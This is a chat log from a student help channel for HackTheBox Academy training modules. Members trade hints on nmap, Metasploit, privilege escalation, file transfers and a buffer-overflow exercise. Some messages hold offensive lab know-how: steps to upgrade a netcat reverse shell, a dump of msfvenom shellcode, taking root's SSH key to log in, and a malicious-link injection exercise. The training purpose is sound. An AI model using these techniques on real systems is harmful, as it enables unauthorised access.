modules

[deep tartan]

and pay attention to some of the other options

[rustic sage]

OMG Thank you I got so frustrated on this one ! I'll try it right now (at least i learned how to use metasploit and searchsploit eheh ^^' )

[cerulean vine]

!rank

[deep tartan]

!rank

[rustic sage]

yes

[flint helm]

Hi I'm doing Nibbles Privilege Escalation in Getting Started. I created a shell on the remote host, but whenever I try a command in the shell I get nothing in return

Anyone knows why?

[tame trout]

I've just finished the web request module, I'm happy 🙂
I'm now doing the "learning how to learn one". Hope it will be helpful

[novel matrix]

@cerulean vine @deep tartan Please use the bot commands in #bot-commands. Not here.

[stone slate]

Read the question carefully mate, it's saying "execute command as a different user" and not "change user"

[dusty quartz]

Runuser?

[stone slate]

Run a COMMAND as another user

This is probably the biggest hint I can give you

Don't panic

Just be calm and check the -help Menu

[stone slate]

DM me if you still confused

[cloud haven]

Did you solve Skills Assessment - SQL Injection Fundamentals ?
DM me please

[strange glade]

It's medium module. Write Your question there.

[cloud haven]

Sorry, thought was Fundamental (because of the name) 😓

[rustic sage]

Hello guys i have a problem on the getting started module

So on the section "service scanning" there is a question that says: " Perform an Nmap scan of the target. What service is running on port 8080? (two words)"

when i perform the nmap scan it tells me the service running on 8080 port its http_proxy but when i submit the answer it keeps telling me its wrong. Any help?

[tired perch]

What type of scan did you do?

You can just do a normal nmap script scan and get the answer

[rustic sage]

i used nmap -p 8080 <traget ip>

[lapis haven]

hello

1

sorry , I need help pls

the first, I apologize for my level of English

[neon shard]

no problem

[lapis haven]

Could someone give me a list of words to do value fuzzing?

I am in the module, of attacks on web applications with ffuf, in the last section and I have to make a post, to find out the working value of a use, I have tried with many lists and none, it gives me results.

[neon shard]

I believe that's an 'easy' module, you should probably ask it there

[lapis haven]

Sorry, I'm wrong

[frigid vector]

Hello guys! I'm going through windows fundamentals and stuck on this task: Find the non-standard directory in the C drive. Submit the contents of the flag file saved in this directory.
Could you explain: what is the non-standard directory?

[frigid vector]

Done. not actual anymore:)

[tired perch]

This is just scanning port 8080 if I am not mistaken

[rustic sage]

Never mind 1 guy helped me out already

[tired perch]

ahh ok then

[meager crystal]

Hi guys, i'm stuck at Privilege Escalation in Getting Started Module. I try some way to esclate from user1 to user2 but it just not work, i enumerate the system with linpeas.sh, get some info but still can't find any thing. Anyone got through this challenge could give me some hints please? thanks so much

[rustic sage]

Hello, im having a problem in the fundamental module called "Web Request" In POST request... The problem is that i did what i think i need to do to get the user administrator (and i get the flag) but the flag is incorrect... I tried to refresh and repeat the process and then the flag disappear and i cant find it and i dont know if there is a problem or something

[neon shard]

hey man

I'll shoot you a dm

[meager crystal]

ok bro

[unborn yarrow]

Hint: decode base64

[rustic sage]

Yeah i did it some time ago! Thanks to @neon shard and @slate arch For the help ^^

[stray prairie]

can i use my own terminal for doing challenges , start point and modules ?

[rustic sage]

My friend is doing it like that and seems like everything works nice and he can do the challenges of the module whit no problem

[cerulean vine]

sorry i didn't know that

[quaint cargo]

You ever get this figured out? wget down the flag.txt from the web directory? I get 403ed on every web directory. Using my own machine connected to vpn

[soft hollow]

could i get some help with something? so i'm on the module web requests, and i'm doing the GET method. i went throught the main part without any trouble, however the question is really stumping me :
"Send a GET request to flag.php with two parameters num1 and num2 such that their sum is 1337."
how do i do this, or could i get some help? much appreciated

[errant agate]

I did but honestly can't remember it was a few weeks ago... I'll check and see if I can remember

[ivory bough]

You need to make a request with curl, if you remember you use the ip and the port and all of that
Afterwards you specify flag.php and send the parameters

I hope I was not to bad explaining, any way if you still have any trouble you can PM and I will try to explain you

[soft hollow]

can i pm you?

ok

[ivory bough]

Yees, Pm 😄

[soft hollow]

i got it! thanks man

[ivory bough]

No problem 😄

[quaint cargo]

Do you ever figure this out? I can't upload file from my linux host.

I was able to stand up http server to download file from rdp but the question would not except the hash. Any advice?

[ivory dock]

Actually I don't know how I solved it. It was something like this: create the same file on the Windows Host yourself (copy&paste content to a .txt file with the same name), then compute the hash and submit it.

[quaint cargo]

Give er a whirl. I'm trying to download zip from rdp client from an http server. Thanks for reply

[cerulean vine]

are you trying from machine to host or host to machine?

[old chasm]

Any help would be appreciated. I have little knowledge of linux. I am on the exercise for "System Information" and am stumped by 2 questions. 1 is What is the path to the htb-student mail, and the 2nd is Which shell is specified for the htb-student user. I just need to be pointed in the right directions please.

Nevermind. Figured it out.

[restive briar]

Hello everyone, i don't know if it's a common thing... but Im stuck in Skills Assessment of web fuzzing with FFUF. If somebody finished that module, please help 🙂

[unborn yarrow]

Does anyone have a remote desktop error in the same windows fundamentals module like me, i can't remote or ping to ip address?

[unborn yarrow]

Be specific about the problem you have

[tidal warren]

Guys i'm stuck over 'getting started' - Nibbles - Initial Foothold. I can't seem to scan for any open ports over the target victim even though the host is detected up using -Pn option. But no port is listed though. Can't open the webserver from firefox either. Need help.

[neon shard]

hey man

shoot me a dm

[obsidian crown]

Or you can suggest the answer to the question "Log in with the credentials (guest: guest) and try to access the user with administrator rights from what you learned in this and the previous section?"

[tidal warren]

Anyone have any extra idea ?

[rustic sage]

So uhm... Im stuck in Linux Fundamentals, in the question that says " What is the path to htb-student's home directory?" And the next one is also a bit confusing... I tried a lot of commands but i cant really do it... Some help?

Also im trying to get the Kernel version but it gives me another format that isnt the one that the question is asking me to find

im confused af

[obsidian crown]

Someone knows the answer to the question: "Login with the credentials (guest: guest), and try to get to the admin user from what you learned in this section and the previous section?".

[neon shard]

yes

[obsidian crown]

please help me

[neon shard]

Dm me

[rustic sage]

Someone can help? : (

[neon shard]

sure

Dm me

[vital talon]

Hi! I am trying to do SQLi Fundamentals module but I cant connect with the database

[neon shard]

That's an 'easy' module, you should try it there

[meager crystal]

Im stuck at the mail question too. The other question you can find a way to locate the default shell for linux( bash)

[unborn yarrow]

please help me

Which Windows NT version is installed on the workstation? (i.e. Windows X - case sensitive)

how can i check with win10 in Window Fundamental module

[zenith merlin]

What is the name of the config file that has been created after 2020-03-03 and is smaller than 28k but larger than 25k? i got a file that matches all criteria but doesnt work

[storm flower]

i have the same problem, what find command did you use ?

[zenith merlin]

||find / -name *.conf -newer 2020-03-03 -size +25k -size -28k 2>/dev/null||

[storm flower]

yeah strange
do you also find a file that looks like this ?
||/usr/share/drirc.d/00-mesa-defaults.conf||

[marsh hollow]

Does anyone have a tip on Public Exploit Question 1? pls dm

[restive siren]

I'm working on the Attacking Web module, in the skill assessment... For question 4, it's says that there should multiple values but when I fuzz the page of question 3 I only get one parameter... Can some one help me out to figure it out?

[zenith merlin]

Yep

[restive siren]

DMs are welcome

[clear elbow]

Hello all,

I have ran into problems on the User Management section of Linux Fundamentals and am looking for assistance for question 2 and 3 (please note I am not looking for the answer directly just some guidance on the right path).

Which option needs to be set to lock a user account using the "usermod" command?(long version of the option)

Which option needs to be set to execute a command as a different user using the "su" command?(long version of the option)

For both of these questions I know how the commands need to be written and how they operate but even with that knowledge I cant seem to find the correct answer? Please help!!!

[clear elbow]

try echo [file]

should lead the right way

[cerulean vine]

hello can someone help me with this

Once you gain access to 'user2', try to find a way to escalate your privileges to root, to get the flag in '/root/flag.txt'.

[flint helm]

Hi I'm doing Nibbles Privilege Escalation in Getting Started. I created a shell on the remote host, but whenever I try a command in the shell I get nothing in return.Anyone knows why?

[restive briar]

solved, nevermind, thanks

[clear elbow]

you need to ensure that you have a connection active with 'ssh status' then as long as it is active you can then enter through "ssh user@ip"

you need to enable ssh to start on the terminal from there you ensure that the status is active then run that command in terminal

[last ridge]

Is there anybody I can DM regarding the first question before the skills assessment in Login Brute Forcing? I have finished all the skills assessments but can't figure out this one.

[meager crystal]

Maybe some kind of enum for privilege escalation, or maybe ssh?

[dense crow]

hi guys, i have some problem in windows fundamental, security content, in the question " What non-standard application is running under the current user? ( case sensitive)". I tried everything possibile... with and without extensions but Nothing. If someone can help me i would really appriaciate.

[marsh hollow]

can someone give me a hint to whith privilege escalation to user2 in the getting started modul. plz dm

[rustic sage]

Hello! So, im in Package Management (Linux Fundamentals) And they say that i need to install git

So i tried that but something is wrong

and i dont know what im not doing right

[sour otter]

Hi guys i am stuck in this question after so many tries i come here for the help** How many files exist on the system that have the ".bak" extension?** I tried locate *.bak and it show me 2 files and answer is incorrect what should i do Please guide.

[real totem]

hello I have a problem with a fairly easy module
getting started
whatever it tries to do, it doesn't work.
Namely, I have a problem with this question
Access the SMB share folder called 'flag' and submit the contents of the flag.txt file.

[rustic sage]

Seems pretty clear what ur supposed to do

@sour otter did you use find?

I see this on Windows fundamentals
"Using the command icacts c:\users /grant joe:f we can grant the joe user full control over the directory, but
given that (oi) and (ci) were not included in the command, the joe user will only have rights over the c:\users folder
but not over the user subdirectories and files contained within them."
and try to apply this(icacts c:\users /grant joe:f) on htb instance by replacing 'joe' with 'htb-student' and the command become successful, when i open c:\users folder and try to access subfolders it was accessible .how?
I not write oi, ci in command.

Help me please

[unborn yarrow]

Hi guys, I'm stucked in last question Window Fundamental:What non-standard application is running under the current user ? (The answer is case sensitive).

please help me :((

[halcyon fulcrum]

hi, I'm doing the Getting Started Module, I'm on the final knowledge check - should the VPN connection be so slow?

sometimes, I'm wondering whether my Internet bandwidth is playing tricks on me - but not this time 😉

[sharp wing]

Hey guys, I am stuck on the "public exploitations" section in the "getting started" module. Can someone help or advice me please ?

[meager crystal]

Specificly descirbe your problem

[sharp wing]

This is the only question in the section "Try to identify the services running on the server above, and then try to search to find public exploits to exploit them. Once you do, try to get the content of the '/flag.txt' file. (note: the web server may take a few seconds to start)". I can use and get backup files with msfconsole auxiliary module

Cuz my target runs wordpress service and plugin vulnerability

Anyway I have etc/passwd folder but idk what should i do right now ?

I found when i writing by the way

LeL ^^

[meager crystal]

Read carefully the options of that metasploit module and you will find out the answer

[dense crow]

hi guys, i have some problem in windows fundamental, security content, in the question " What non-standard application is running under the current user? ( case sensitive)". I tried everything possibile... with and without extensions but Nothing. If someone can help me i would really appriaciate.
really i can't idk...

[sweet heron]

I was stuck there too. Hint: The answer (which is not an obscure process), is pretty obvious: It helps you connect to HTB network. No extension on this answer, just the name

[dense crow]

can i DM you??

[sweet heron]

yup yup

[cerulean vine]

i don't think you are meant to do that

[dusk axle]

!rank

[novel matrix]

@dusk axle This channel isn't for bot commands. Please next time use commands in #bot-commands. Verbal warning

[ember heart]

who completed the
Getting Started module
Page 7 Service Scanning
plz dm me
tnx

[sweet heron]

I did. But chat is nice because it can help others.

[ember heart]

i'll be glad if u dm me

[flint helm]

Hey I'm doing Linux File Transfer (last question) and what I tried is to vim the .txt from the target and then use the hasher, but that flag is invalid. I uploaded upload_nix.zip to the target, but unzip isn't installed on the target and htb-student isn't in subdoers so I can't install it... I also tried directly uploading the .txt to the target ,but when I run hasher it gives another invalid flag... I really don't know what to try anymore so if someone could tell me how I can actually unzip this goddamn file from the target it would be great. Thanks in advance

[tidal warren]

Guys I need some hint on getting started -> final knowledge check question 2. privs escalation. I was able to get into a meterpreter session, but i need some ideas to escalate my privs to root. Shell isn't responding to commands.

[flint helm]

^got the same problem

[sweet heron]

have you red the hint?

[tidal warren]

Yes i did. I can't interact with the shell after spawning a shell session with metepreter. Is there a way to run enumeration scripts within metepreter itself ?

[sweet heron]

I remember using the "shell" command in meterpreter and then nothing happened, but commands were working.

[tidal warren]

Not for me sadly. It just hangs there till i exit the channel

[clear elbow]

so i dont know if i did it right or not, working on file transfers. I ran $wget -O flag.txt http://10.129.34.0 and got the file but when i view it its a large https file and i dont know what to put as an answer or did i do this incorrect?

[sweet heron]

The -O option will write to a file the content of the url destination, so it gives you / (probably index.html or something), hence the html code. You want flag.txt

[clear elbow]

so do i then need to do a html to txt or is there a sub command im leaving out?

[sweet heron]

I think just a wget to the flag destination will reveal it, but it's been a while.

[clear elbow]

If I do wget file.txt http://ip gives me the index.http you were refering

[sweet heron]

I mean http://ip/flag.txt so wget gets /flag,txt

[clear elbow]

Ahhh ok

yep that was it

thank you

[sweet heron]

glad it worked!

[quiet forum]

hi guys, I'd need your help.
I'm currently doing the Getting started module (Basic Tools).
Question:

Optional Exercises

Challenge your understanding of the Module content and answer the optional question(s) below. These are considered supplementary content and are not required to complete the Module. You can reveal the answer at any time to check your work.

Apply what you learned in this section to grab the banner of the above server and submit it as the answer.

I tried using netcat <ip address> but there's no port[s] to connect to

Please point me in the right direction. Thanks in advance guys

[clear elbow]

has anyone ran into the issue of port 22 connection refused when trying to establish an ssh connection on the workstation

[meager crystal]

In the meterpreter, type shell to create a shell.

[rustic sage]

anyone here who has completed the getting started module? need help

[uncut temple]

Yes, there is one. Re-read the line where your target is specified.

[ripe orbit]

Hi Guys need help with GETTING STARTED -Privilege Escalation „once you gain acces to „user2”, try to find a way to escalate your...”. Cant find good answear upper

[rustic sage]

yeah im also stuck on that question

[ripe orbit]

U gain acces to user2?

[rustic sage]

yes

[ripe orbit]

Same here, lemme know if u find something

[rustic sage]

k i will dm you if i find anything

[ripe orbit]

Same here 😄

[brave kindle]

How can I access the remote spawn system ?

[mint lava]

@ripe orbit try to do as explained in that section. Have a closer look at id_rsa

[ripe orbit]

Sure, but I don’t know what I need to type there

In id_rsa

[ripe orbit]

Thanks for hint, but it’s not enough hahah

[mint lava]

@ripe orbit try to see if you can view the id_rsa of the root user

[rustic sage]

Yeah we already tried that and as in the example explains, u need to chmod the id_rsa but when i tried that, it says permission denied

[ripe orbit]

how we can download this file to our machine?

[mint lava]

if you cant download it, try to view it and copy it to your machine

[ripe orbit]

i did it already

but if i trying to using ssh with my "id_rsa" i have error "Loadkey "id_rsa": invalid format"

[ripe orbit]

u have answear for this? 😄

[mint lava]

make sure that the content is the same

then which user id_rsa did you copy?

[ripe orbit]

in user 2 from/home/user/.ssh/id_rsa

[mint lava]

which user has the highest privileges?

[ripe orbit]

hey w8 moment i have an idea

[mint lava]

good

[ripe orbit]

what u mean highest privileges?

[ripe orbit]

user2?

[rustic sage]

root

[ripe orbit]

yes, but we dont have acces, so user2 imo

[rustic sage]

i copied the rsa file from /root/.ssh/id_rsa

still getting invalid format

[mint lava]

did you use chmod?

[ripe orbit]

ye, same here

[ripe orbit]

i have file on my Desktop "id_rsa" (i already pasted key from user2 id_rsa) then i type in my terminal ssh root@<IPHERE> -i id_rsa

[rustic sage]

yep

[mint lava]

yes

now delete it so we wont sopolier anything

[rustic sage]

ok now for some reason it freezes

[ripe orbit]

same here

[mint lava]

try to redo those steps

[rustic sage]

you guys now if the webpage is not working properly? i want to start an instance but it tells me no instance available

[ripe orbit]

have same problem 15 min ago, w8 moment

[ripe orbit]

i really gratefull... thanks buddy... i love u. My brain could explode soon ❤️

[novel matrix]

I’d reload the page or restart your browser

[mint lava]

Happy to help

[slate oriole]

Why i cant ping retired machines on htb is it bcs there is so many people in the server

[plucky temple]

Are you allowed to nmap https://www.inlanefreight.com/ ?

[slate oriole]

i pinged a machine it worked

i nmaped it itworked

when i pinged it again i didnt work no more

[west rampart]

@plucky temple you need to nmap it?

[plucky temple]

no i was just wondering if it is allowed, because they sometimes use it in examples

[west rampart]

just an example 🙂

[dusk axle]

sorry, idk

[vital sluice]

i've been stuck for 5 days of the Stack buffer overflow Skill assessment. Whatever shellcode generated (with --bad-characters \x00 \x09 \x0A \x20 parameter) it always crashed.

I did have all other steps right: eip was overwritten and jump to the shellcode

it can be any where in the shell code. Some time the netcat got connection but the shellcode crashed before I could send any command. Other times, the shell code crashed right away after execution of 1st instruction.

I then tried inject a very simple shellcode without any encoding (generated without parameter --bad-characters) directly to the buffer then this shellcode worked fine, made connection to netcat and I could send and receive message to it. However, under gdb the setresuid() always return -1, does not work, so I could not get root. And it's impossible to execute at command line without gdb because the simple shellcode cannot be passed to the program due to bad characters (0x00).

[uncut temple]

That's the reason for using --bad-characters. Something must be wrong in your shellcode, confirm you're using the same parameters as in the module's explanation when launching your msfvenom.

[ember kestrel]

hey guys, I'm stuck on this question on the getting started module: Access the SMB share folder called 'flag' and submit the contents of the flag.txt file.
I tried this: smbclient ////IP//flag and I get an error message.
I also tried to list the shares using -L, but it didn't show me that there is a flag share. only users...
can you help me?

[vital sluice]

yeah, it's a copy/paste. I cannot understand why it does not work. Each time different shellcode is generate. Below is one instance. The shellcode starts from 0xffffcd0d.

0xffffcd08: 0x90 0x90 0x90 0x90 0x90 0xdb 0xc0 0xd9
0xffffcd10: 0x74 0x24 0xf4 0x5a 0x2b 0xc9 0xb1 0x12
0xffffcd18: 0xbe 0xf0 0x58 0xe3 0x85 0x31 0x72 0x17
0xffffcd20: 0x03 0x72 0x17 0x83 0x32 0x5c 0x01 0x70

Disassemble:

0xffffcd0d:  fcmovnb st,st(0)
0xffffcd0f:  fnstenv [esp-0xc]
0xffffcd13:  pop    edx
0xffffcd14:  sub    ecx,ecx
0xffffcd16:  mov    cl,0x12
0xffffcd18:  mov    esi,0x85e358f0

0xffffcd1d: xor DWORD PTR [edx+0x17],esi <== crash
0xffffcd20: add esi,DWORD PTR [edx+0x17]

The code does not make any sense. With the code like this, surely always crash. Why does it use "pop edx" at 0xffffcd13 when it does not know what was push into the stack before??? and then uses it later which causes the crash at 0xffffcd1d

[uncut temple]

I think msfvenom generates different codes every time which is cool to avoid identification of shellcodes by protecting programs. I don't know what your specific problem is because I don't know what you've really done.

[somber vine]

Hello ive been struggling with this question

can you please help me ? 👉 👈 😳

[bronze idol]

Hey guys, got a problem with "Getting Started" -> "Knowledge Check".
Got meterpreter connected but failing at privilege escalation with php. I think it´s just a simple problem, but i don´t get it for hours now 😄

[neon shard]

hey man, pm me

[opaque elm]

Hi, can you help me ? -> NETWORK ENUMERATION WITH NMAP -> Nmap Scripting Engine
I used a script from nmap: nmap <IP> -p 80 -sV --script="http-*" and others but nothing works

[thorny crow]

Which problem are you on?

[vital sluice]

Thanks, Charon. I understand why the generated shellcode changes signature each time, not an issue. The problem is: it crashes at execution. And when I look at the code I see it's not right, like the above.

it's a simple stack overflow, nothing special

[noble quest]

Hey guys i need help with this module https://academy.hackthebox.eu/module/41
maybe someone can help me

[rustic sage]

Hey can somebody help me with the emdee five for live challenge? I wrote a python script and tried to receive a response with the certain string, encrypt it and send it back in the same session but it seems i am doing something wrong

[weary dune]

-m for the home directory

[frozen python]

@mint lava @uncut temple I did it, thank you for your help ^^

[novel matrix]

What do you mean live challenge?

[rustic sage]

nevermind i found a solution 😅 but thank you anyways

[bronze ruin]

Hey guys, can you help me ? got a problem with "Getting Started" -> "Knowledge Check",I GET USER.TXT，but i can't use the scripts such as LinEnum and LinPEAS to escalate privileges to root on the target

[rustic sage]

Hi guys I'm on linux fundamentals, I'm connected with ssh on the target machine using my own kali VM, I need to find the "machine hardware name" but It seems the results I got from "uname" commands wont match the answer

should I copy paste the entire string after doing uname -v?

[obsidian tendon]

General question for reverse shells: Whenever I do one, I can never get it so that it accepts control sequences. This makes it basically impossible to use vi. Thus far I have been using grep and sed to edit files and I think there has got to be a better way. I don't know if it's a problem with my terminal or ncat or if I need to do stuff after getting the shell.

[obsidian tendon]

uname --help | grep hardware might tell you what you're looking for

[urban sage]

You'll need to upgrade it to a full tty. Here is the process I like for ZSH.

user@remote:/var/www/html$ python3 -c 'import pty; pty.spawn ("/bin/bash")'
python3 -c 'import pty; pty.spawn ("/bin/bash")'
user@remote:/var/www/html$ ^Z
zsh: suspended  nc -lnvp 9001

┌──(nightwolf㉿archlinux)-[]
└─$ stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/; /\n/'                                                                                                         148 ⨯ 1 :gear:
rows 42
columns 185

┌──(nightwolf㉿archlinux)-[]
└─$ stty raw -echo; fg                                                                                                                                                               1 :gear:
[1]  + continued  nc -lnvp 9001
                               stty rows 42 cols 185
user@remote:/var/www/html$ export TERM=xterm-256color
user@remote:/var/www/html$ exec /bin/bash
user@remote:/var/www/html$

[rustic sage]

Yeah there might be something going wrong with my hackthebox session idk, I got x86_64 as result with both commands

thank you anyway I'll figure this out

[obsidian tendon]

nice, tysm

[slate arch]

need help on getting started priv esc user2 to root, next part has spoilers for the exercise ||im confused how do you properly format priv and public ssh keys to log into a server? on getting started ive managed to execute commands as user2 and have catted both private and public keys and put them on my vm but when i try to ssh in it says my key is invalid format||

[obsidian tendon]

iirc openssh won't acknowledge your keys as valid unless they have restricted permissions
chmod 600 my_key will set the permissions on my_key to owner rw only

[slate arch]

ok ill try thx

hmm i just tried that and it didnt work

[flint helm]

Hey I need a nudge on Getting Started - Privilege Escalation Question 2. I escalated to user2 and I'm trying to move my key.pub in the target machine to /root/.ssh/authorized_keys, but the permission is denied.

[amber fossil]

Hi guys complete newbi here....so i am stuck on the windows security section of the windows fundamentals. The find the SID of bob.smith user, its driving me mad i thinking it is something simple that i am missing any pointers would be great cheers.

[flint moth]

Hey I am doing the File transfer module and I am stuck on question to download flag.txt using wget so I am using this command ==> wget http://<ip>/flag.txt , but it is saying connection failed , is there something I am doing wrong?

[flint helm]

always remember google is your friend, this article should help you https://windowsloop.com/find-sid-of-user-windows/

[flint helm]

That's really strange I just tried what you did and it worked for me. Are you sure you're in the right section of the module? Are you literally using the command you've posted? Maybe you need to refresh your target?

[amber fossil]

@flint helm thanks that has helped a lot..So much to learn but loving it

[flint moth]

@flint helm It's done!! ,I just used sudo and it worked

[rustic sage]

Hi, I still can't find the "machine hardware name" from the question 1 in linux funds, others answers are ok but is this one broken?

All I got from uname command is "nixfund" or "Linux" or "x86_64"

[rustic sage]

Am I allowed to use tools from my kali VM against the ubuntu VM IP given in the exercise?

it seems being "htb-student" don't give the right result after doing things like uname -m or whatever

[autumn pilot]

if you haven't ssh'ed into the target do not expect something else

[rustic sage]

but I did ssh I'm logged as "htb-student" on the given IP adress

[autumn pilot]

You are close

[rustic sage]

so htb-student have no rights to know the machine hardware name am I right?

[autumn pilot]

nope, he has the rights to see the machines hardware name

you already even have said the hw machine name

[rustic sage]

yeah I know but the module don't want it as an answer

Ok the module is bug it wont accept underscore manually entered

have to do copy past

I had the answer since the beginning

thank you @autumn pilot

[autumn pilot]

Probably if you have switch to a language different from EN for typing, the special symbols might differ for some reason

[rustic sage]

My computer is "FR" with azerty keyboard but I installed virtual machine and kali in english-US, you think that might be the problem?

[autumn pilot]

My guess would be this

[rustic sage]

Ok thank you I'll look into this

[autumn pilot]

Try to experiment, if you have something similar try both ways, first typing in FR keyboard style and then EN

[rustic sage]

the vm is full EN I can't switch but anyways the underscore should be on "8" on every keyboard if I'm right

[autumn pilot]

On mine its not

It's here on mine

[rustic sage]

wow ok thanks I didn't know that could happen

[autumn pilot]

no worries, its good when you learn something new 😄

[rustic sage]

it worked with your key 🤣 I tried x86)64 and it worked manually

Yeah I'm happy now I have an Onscreen keyboard with your input that will help for later thanks very much ^^

[slate arch]

i havent tried it, (im doing the same part myself) but i think you need to chmod it out of 600 move it then 600 chmod it
btw i think you need to format the key on your vm to be pkcs 8

[lethal stratus]

Hey guys can i dm someone for help to the question in Getting Started module- public exploits?

[vital bough]

need a little nudge on getting root in the Getting started module 😦 I can't get the nc to respond

[slate arch]

ok

[left charm]

Whats’up guys! Someone have problem with knowledge section on getting started?

It’s so slow and can’t get reverse shell witc nc or from meterpreter session

[jovial kraken]

I am not able to find the answers of these two questions

[urban sage]

Look at the man pages for both of those commands.

[deep tartan]

Look at the options. Should be -u something

[obsidian hornet]

having issues in Windows Fundamentals Modules, Introduction part. using RDP to target ip and right user and password resulting with "failed to connect" error

[cinder vortex]

Anyone can point me on where to start? I am new to all the cybersecurity stuff....

[vocal jewel]

would anyone be able to help with Web Requests, the POST section? it says at the top that i can use admin: password or guest:guest to login.

i'm following along and only guest:guest allows me to log in

also, i follow the steps through this page and i'm getting slightly different results in burp

[vocal jewel]

If you have any background in some of the fundamental modules, I would still go through them as sometimes there are some things that you may not use normally that you can learn for cybersec. They help you think further outside the box when performing say an ethical hack for a pen test.

[vocal jewel]

So in short, anywhere is good

Also, check out other platforms for learning too. Tryhackme is another good starting point

[cinder vortex]

@vocal jewel Thanks

[astral siren]

I am stuck on the assessment portion of the file include/directory traversal module. from what i've read, I know i need to get the php code to disclose, but i can't get the php wrappers to return anything on the index page.

[strange aspen]

Can someone help me with the question: Access the SMB share folder called 'flag' and submit the contents of the flag.txt file.

i only see a directory named users but i need a password for that: smb: > ls
NT_STATUS_ACCESS_DENIED listing *

[slate arch]

which module

[strange aspen]

getting started

service scanning

[slate arch]

isnt there something to do with a backup file?

[strange aspen]

???

[sudden ibex]

hey complete newbie I have zero experience with Linux but just tying to learn, i am taking the Linux fundamentals course right now and i am stuck on the question " what's the path to htb-students mail " i am logged in to the target as htb-student i was able to answer the first two questions, just cant find the mail directory, any clues would be great

[mossy trench]

hi guys, i'm having some ssh issues. i can connect to htb-student with Pwnbox and navigate the machine but it freezes up eventually or is super laggy

also tried with ssh on my Kali VM through academy vpn, but when i ssh user@ip is just hangs forever

(for linux fundamentals module)

[astral siren]

well, i was able to get the page source, but i'm having a hard time with the input filtering

[astral siren]

i was thwarted by something silly, but i got it now

[torn needle]

Can someone help me with the skills assessment of the sql injection module? I don't how to pass the login? I tried every possible payload to pass it.

[fleet moth]

maybe try:
ssh -l htb-student <ip>

[jagged zenith]

Why o don't have permission chat another room

[novel matrix]

++tryverify

[red obsidian]

To talk in other channels you need to verify yourself first:

1. Send ++verify in the #bot-commands channel
2. Follow the instruction you will receive in PM (i.e send ++identify <Account Identifier> directly to the bot
   (The instructions are available in the #welcome channel)

[mossy trench]

this is form my Kali virtual machine on vpn. i enter and it just sits here. never prompts for password... then times out eventually and says: 'connection closed by 10.129.42.250 port 22'

[fleet moth]

are You able to ssh to any other workstation?

You can try resetting the service: (sudo) service ssh restart

[mossy trench]

thanks for the suggestions, will try some things and check back 🙂

[strange aspen]

Can someone help me with getting started
service scanning question: Access the SMB share folder called 'flag' and submit the contents of the flag.txt file.
i only see a directory named users but i need a password for that: smb: > ls
NT_STATUS_ACCESS_DENIED listing *

[rustic sage]

have you the right user ? about permissions

dumb question but u know

[strange aspen]

but which user is the right user? i tried Anonymous but its the same..

[sudden ibex]

Right I have tried using /home/htb-student/mail that did not work so there has to be another step but I can’t find the other step there are only three folders in the home directory but when I try to ls them there is nothing in them so I am struggling to still find the path to mail.

[novel matrix]

You and @outer otter all good?

[vocal jewel]

anyone on to listen to me vent about POST Method in Web Requests module?

The hardest part to understand for me was that you can only manipulate your way up to the admin user from the guest user.

makes sense: being that you need to access and then priv esc

[novel matrix]

I was stuck on the POST module as well.

[vocal jewel]

i spent hours trying to get into it ( using the right method of attack mind you ) but initially signing in with admin and password

so when i had the right manipulated cookie, i couldn't get in bc i wasnt going in as guest

so i thought my method of attack was wrong

round and round i went. holy shit

I finally figured out I was supposed to log in as guest initially from watching a youtube video which was in italian. I don't speak Italian. lol

[vocal jewel]

Congratulations for getting it! I figured I would tell you that because if you were as frustrated as me you deserve to hear it. haha

[novel matrix]

@vocal jewel Did you manage to do ffuf module?

[vocal jewel]

no not yet. fuzzing?

[novel matrix]

Yeah

[vocal jewel]

Is that a good one to go to next? It sounds like alternatives to dirbuster/gobuster

[fleet moth]

/home/htb-student/mail is a path to the mail directory in the home directory of the htb-student user

[sudden ibex]

Right but when you type that in as the answer it’s says it’s wrong there might be something wrong with the module then. I have tried that answer a few times and it won’t accept it I will try and message htb academy directly about it thanks man

[novel matrix]

Nothing is wrong with the module. Make sure to read over everything.

[fleet moth]

@novel matrix is right. You overthink or do not really understand the basics. Re-read the module's content with understanding

[sudden ibex]

Re read with understanding what does that even mean which section should I re read cause I will be the first to admit I have no idea what I am doing this is only the 2nd day I have tried dealing with Linux

[fleet moth]

You can also try to just skip this part and come back to it later. Maybe latter parts of the module will help You to understand how it works.

[sudden ibex]

Sounds like a plan to me

[brave kindle]

Sorry guys I can'tn access the remote system and so I can't do the question at the end

Anybody knows where it is the problem ?

[sly elbow]

hey guys , why im not able to connect to the windows vm using xfreerdp

error say could not find the address for the rdp server

[novel matrix]

double check IP or click on a fresh target @sly elbow

[sly elbow]

I checked it and also try to reset it

but the error is same

The machine doesnt able to ping to win vm

@novel matrix there is a vpn key but when I tried to connect to that Cannot load private key file [[INLINE]] 2021-04-18 10:34:13 Error: private key password verification failed

[stray prairie]

can someone help me to make me understand this question below on sql injection module

In the 'titles' table, what is the number of records WHERE the employee number is greater than 200000 OR their title does NOT contain 'engineer'?

select emp_no,title from titles where emp_no > 200000 || title != 'Engineer';

i dont see anything wrong on my syntax i inputted the total amount of table that has been preview but it was wrong

[jolly bough]

In the linux fundamental you get asked to provide the index number of the sudoeres file in the /etc dir. so i went on used ls -i /etc/sudoeres and got the index but when entering im getting wrong answer. what am i missing here?

[tribal walrus]

can someone help me with linux fundamentals im trying to ssh to htb-student but im not being able to i used ssh as "ssh htb-student@ip_address" but it just goes to another line and does not show any result

[rustic urchin]

i have the same ssh issue this evening

it just timeouts after a while

[hoary raptor]

If you wanted to inject a malicious link to "www.malicious.com", and have the clickable text read 'Click Me', how would you do that?

I tried doing this; <a href="www.malicious.com">Click me!</a>
and this; <form action="www.malicious.com">
<input type="submit" value="Click me!" />
</form>

But none of them worked, don't know exactly how they want me to do it.

so please help me somebody w superhackerskills

[meager crystal]

Remove the !.

[ocean lance]

Can someone please help me with privileges escalation question at Getting started in HTB Academy?

[lethal stratus]

me too

[neon shard]

yea sure

shoot me a dm

[strange vigil]

I have the same problem

I have tried the same with my target but it does not connect

Hello! I'm in Windows Fundamentals - Introduction to windows. I can't connect to the target with the command example. Nothing works! I'm going crazy.

[halcyon valve]

@rustic sage did you find out the answers for the Linux Fundamentals package management git install issue. I am having the same problem.

[brazen wyvern]

Hey everyone! Working on the JavaScript Deobfucation: Source code. Found the js and think I know what to do, the issue is the format of the command to send. Can anyone help me nail it down?

[brazen wyvern]

Never mind I was nuking it

[rustic sage]

what's wrong with my answer?

[spiral wigeon]

@rustic sage I'm stuck on the that same question

[rustic sage]

